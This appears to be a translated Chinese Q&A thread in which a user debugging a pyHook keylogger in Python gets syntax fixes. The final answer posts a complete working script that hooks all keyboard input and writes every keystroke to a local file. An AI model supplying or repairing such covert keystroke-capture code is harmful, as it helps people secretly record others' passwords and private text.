-1

嘿,有谁知道chr这段代码中的第一个chrchr(event.Ascii):)有什么问题。它只是返回语法错误。我正在使用 pyHook 编写键盘记录器。提前致谢。

import pyHook, pythoncom, sys, logging

file_log = 'C:\\Python\\log.txt'

def OnKeyboardEvent (event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format ='%(message)'
    chr(event.Ascii):
    logging.log(10, chr(event.Ascii))
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
4

3 回答 3

2

此行末尾有一个冒号。

chr(event.Ascii):

你应该删除它。

于 2013-10-18T18:52:02.873 回答
2

该部分代码中有两个错误。

首先,您缺少右括号:

logging.basicConfig(filename=file_log, level=logging.DEBUG, format ='%(message)'
#              ----^                                                     -------^

如果没有右括号,Python 不知道该表达式应该何时结束。然后下一行没有意义并引发SyntaxError异常。

您的下一行有一个杂散的冒号:

chr(event.Ascii):

您需要删除它。您也不存储该调用的结果,您可以省略该行。

以下是正确的 Python。

def OnKeyboardEvent (event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format ='%(message)')
    logging.log(10, chr(event.Ascii))
    return True
于 2013-10-18T19:02:30.267 回答
0

使用此代码并享受..!!

import pyHook, pythoncom, sys, logging

file_log = 'D:\zzzz1.txt'

def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
于 2017-03-12T11:00:07.543 回答